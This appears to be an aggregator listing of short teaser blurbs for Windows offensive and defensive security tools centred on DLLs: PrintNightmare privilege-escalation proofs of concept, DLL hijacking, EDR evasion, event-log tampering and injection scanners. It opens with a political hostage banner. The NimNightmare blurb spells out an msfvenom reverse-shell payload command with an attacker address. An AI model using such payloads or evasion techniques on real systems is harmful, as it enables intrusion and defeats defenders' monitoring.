CVE-2024-21378

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 We demand the safe return of all citizens who have been taken hostage by the terrorist group Hamas. We will not rest until every hostage is released and returns home safely. You can help bring them back home.https://stories.bringthemhomenow.net/ 🛡️ CVE-2024-21378...

Evasor

Overview The Evasor is an automated security assessment tool which locates existing executables on the Windows operating system that can be used to bypass any Application Control rules. It is very easy to use, quick, saves time and fully automated which generates for you a report including...

Enumprotections_BOF

Enumprotections BOF Este BOF se puede utilizar para enumerar los procesos del sistema e identificar el nivel de protección de cada uno. También se devuelve información adicional, como la relación con servicios, usuario, sesión y ruta. Esta información, en combinación, puede utilizarse para...

Corsair---DLL-Planting-CVE-2023-38822

Corsair---DLL-Planting-CVE-2023-38822 DLL Planting in the Corsair iCUE v.5.3.102 CVE-2023-38822 Discoverer: Idan Malihi Description An issue in Corsair iCUE v.5.3.102 allows a local attacker to execute arbitrary code via the MPDC.dll, CRYPTSP.dll, dcomp.dll, profapi.dll, and MSASN1.dll components...

NimNightmare

CVE-2021-1675 LPE PoC not my exploit! just wanted to play around with the winim library in nim. Usage Generate DLL payload with msfvenom -p windows/x64/shellreversetcp LHOST=192.168.8.237 LPORT=4444 -f dll msfvenom.dll, then start the handler on your attacker. On the victim run .\nimnightmare.exe...

cve-2021-34527

CVE-2021-34527 CVE-2021-34527 LPE exploit using AddPrinterDriverEx - this is a weaponized version of the LPE that can be used to escalate a DLL to SYSTEM and will also clean up artifacts. The LPE impacts Windows Desktop 7,8,8.1,10,11 & Server 2008,2012,2016,2019. This visual studio project will...

Killer

KILLER TOOL EDR Evasion It's a AV/EDR Evasion tool created to bypass security tools for learning, until now the tool is FUD. Features: Module Stomping for Memory scanning evasion DLL Unhooking by fresh ntdll copy IAT Hiding and Obfuscation & API Unhooking ETW Patchnig for bypassing some security...

exe_to_dll

EXEtoDLL 将一个EXE转换，使其可以像DLL一样加载。 支持32位和64位DLL 受@guywhataguy想法的启发。更多信息请点击这里。 下载 稳定版本可在releases中获取。 测试版本可从构建服务器下载（点击构建并选择“Artifacts”标签页） 克隆 使用递归克隆以获取仓库及所有子模块： root@kitploit: git clone --recursive https://github.com/hasherezade/exetodll.git 用法 从命令行运行exetodll。参数： root@kitploit: args: 示例： root@kitploit...

mssqlproxy

mssqlproxy mssqlproxy is a toolkit aimed to perform lateral movement in restricted environments through a compromised Microsoft SQL Server via socket reuse. The client requires impacket and sysadmin privileges on the SQL server. Please read this article carefully before continuing. It consists of...

PythonMemoryModule

PythonMemoryModule pure-python implementation of MemoryModule technique to load a dll or unmanaged exe entirely from memory "Python memory module" AI generated pic - hotpot.ai What is it PythonMemoryModule is a Python ctypes porting of the MemoryModule technique originally published by Joachim...

Chimera

Chimera Unlea$ed Tool Background While DLL sideloading can be used for legitimate purposes, such as loading necessary libraries for a program to function, it can also be used for malicious purposes. Attackers can use DLL sideloading to execute arbitrary code on a target system, often by exploitin...

artifacts-kit

. . / || |/ / | | | ||/ | \ \ \ \ \ / \ | |/ / \ / | | /| | | || | / \ | | | | | | ||| / / / / Malicious Memory Artifact Generator Kit v1.0 | Forrest Orr | 2020 REQUIRED --alloc-type dll-map-hollow|dll-load-hollow|txf-dll-map-hollow|private|mapped OPTIONAL --payload-file --payload-type...

pe-sieve

Intro PE-sieve is a tool that helps to detect malware running on the system, as well as to collect the potentially malicious material for further analysis. Recognizes and dumps variety of implants within the scanned process: replaced/injected PEs, shellcodes, hooks, and other in-memory patches...

pe-sieve

简介 PE-sieve 是一款帮助检测系统中运行的恶意软件，并收集潜在恶意材料用于进一步分析的工具。它能够识别并转储被扫描进程中的多种植入物：替换/注入的PE、shellcode、钩子以及其他内存补丁。 可检测内联钩子、Process Hollowing、Process Doppelgänging、反射式DLL注入等。 PE-sieve 旨在成为一个轻量级引擎 ，专门用于一次扫描一个进程 。它可以构建为EXE或DLL。DLL版本暴露了一个简单的API，可以轻松与其他应用程序集成。 📦 使用库：libPEConv 帮助 ❓ 常见问题解答 - 常见问题 📖 阅读 Wiki 🤔...

EvtMute

EvtMute This is a tool that allows you to offensively use YARA to apply a filter to the events being reported by windows event logging. Usage Grap the latest verison from here. EvtMuteHook.dll contains the core functionality, once it is injected it will apply a temporary filter which will allow a...

zirconium

zirconium DLL-injectable game cheat for Call of Duty: Black Ops 2 Zombies with the Plutonium mod. Downloads are in the Releases page Disclaimer: This project exists because I grew up on BO2, and it also happened to be a good target for reversing. It's a 14 year old AAA game thats practically dead...

apiscope

ApiScope ApiScope is a Windows x64 research tool for tracing selected API calls in a new or running process. It follows DLL load events through the Windows debugger API and installs hooks before the debuggee continues from each event. Included hooks: ntdll.dll!NtCreateFile records the target path...

RottenPotatoNG

RottenPotatoNG New version of RottenPotato as a C++ DLL and standalone C++ binary - no need for meterpreter or other tools. RottenPotatoDLL This project generates a DLL and EXE file. The DLL contains all the code necessary to perform the RottenPotato attack and get a handle to a privileged token...

ImpulsiveDLLHijack

ImpulsiveDLLHijack C based tool which automates the process of discovering and exploiting DLL Hijacks in target binaries. The Hijacked paths discovered can later be weaponized during RedTeam Operations to evade EDR's. 1. Methodological Approach : The tool basically acts on automating following...

InjectProc

InjectProc 进程注入是一种非常流行的隐藏恶意代码行为的方法，并被恶意软件作者广泛使用。 有几种常用的技术： DLL注入、进程替换（又名进程空洞）、钩子注入和APC注入。 其中大部分使用相同的Windows API函数： OpenProcess、VirtualAllocEx、WriteProcessMemory，有关这些函数的详细信息，请使用MSDN。 DLL注入： 打开目标进程。 分配空间。 将代码写入远程进程。 执行远程代码。 进程替换： 创建目标进程并挂起它。 从内存中卸载映像。 分配空间。 将头部和节写入远程进程。 恢复远程线程。 钩子注入： 查找/创建进程。 设置钩子。...